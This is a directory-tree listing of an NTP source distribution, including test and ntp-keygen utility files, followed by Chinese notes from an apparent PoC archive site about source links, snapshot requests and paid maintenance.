│ │ │ ├── [1.0K] run-modetoa.c
│ │ │ ├── [1.0K] run-uglydate.c
│ │ │ ├── [1.3K] run-ut-2803.c
│ │ │ ├── [2.9K] smeartest.c
│ │ │ ├── [ 443] uglydate.c
│ │ │ └── [1.4K] ut-2803.c
│ │ └── [4.0K] sec-2853
│ │ ├── [1.8K] Makefile.am
│ │ ├── [ 41K] Makefile.in
│ │ ├── [1009] run-sec-2853.c
│ │ └── [2.2K] sec-2853.c
│ ├── [2.8K] TODO
│ ├── [4.0K] util
│ │ ├── [3.6K] audio-pcm.c
│ │ ├── [ 839] byteorder.c
│ │ ├── [1.9K] hist.c
│ │ ├── [ 55] invoke-ntp-keygen.menu
│ │ ├── [ 48K] invoke-ntp-keygen.texi
│ │ ├── [2.7K] jitter.c
│ │ ├── [5.4K] kern.c
│ │ ├── [ 150] longsize.c
│ │ ├── [4.6K] Makefile.am
│ │ ├── [ 50K] Makefile.in
│ │ ├── [ 43K] ntp-keygen.1ntp-keygenman
│ │ ├── [ 39K] ntp-keygen.1ntp-keygenmdoc
│ │ ├── [ 63K] ntp-keygen.c
│ │ ├── [ 77K] ntp-keygen.html
│ │ ├── [ 43K] ntp-keygen.man.in
│ │ ├── [ 39K] ntp-keygen.mdoc.in
│ │ ├── [ 61K] ntp-keygen-opts.c
│ │ ├── [ 38K] ntp-keygen-opts.def
│ │ ├── [ 13K] ntp-keygen-opts.h
│ │ ├── [ 13K] ntp-keygen.texi
│ │ ├── [ 10K] ntptime.c
│ │ ├── [2.3K] pps-api.c
│ │ ├── [5.1K] precision.c
│ │ ├── [2.1K] README
│ │ ├── [6.1K] sht.c
│ │ ├── [1.3K] testrs6000.c
│ │ ├── [ 73K] tg2.c
│ │ ├── [ 16K] tg.c
│ │ ├── [ 16K] tickadj.c
│ │ └── [2.6K] timetrim.c
│ ├── [2.3K] WHERE-TO-START
│ └── [6.0K] ylwrap
├── [ 183] ntp.conf
└── [6.0K] README.md
164 directories, 1801 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。